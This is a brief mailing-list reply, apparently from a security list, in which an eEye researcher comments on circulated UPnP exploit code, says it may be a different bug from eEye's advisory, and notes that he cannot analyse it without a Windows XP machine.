Re: "Universal Plug and Play technology exploit code"

["Ryan Permeh" <ryan () eEye com>]

iv'e been poking at the exploit, and from what i can see, this is NOT for
the eeye advisory, perhaps another bug, but i don't have an xp machine here
to do any type of analysis on this, so it is hard t say what it will do.
This may even be a similar/same bug however, and somone found a different
way of attacking it.  port 5000 TCP is also involved in the upnp/SSDP
protcol, and is hosted in svchost.exe, so until further analysis is done,
little more can be said.
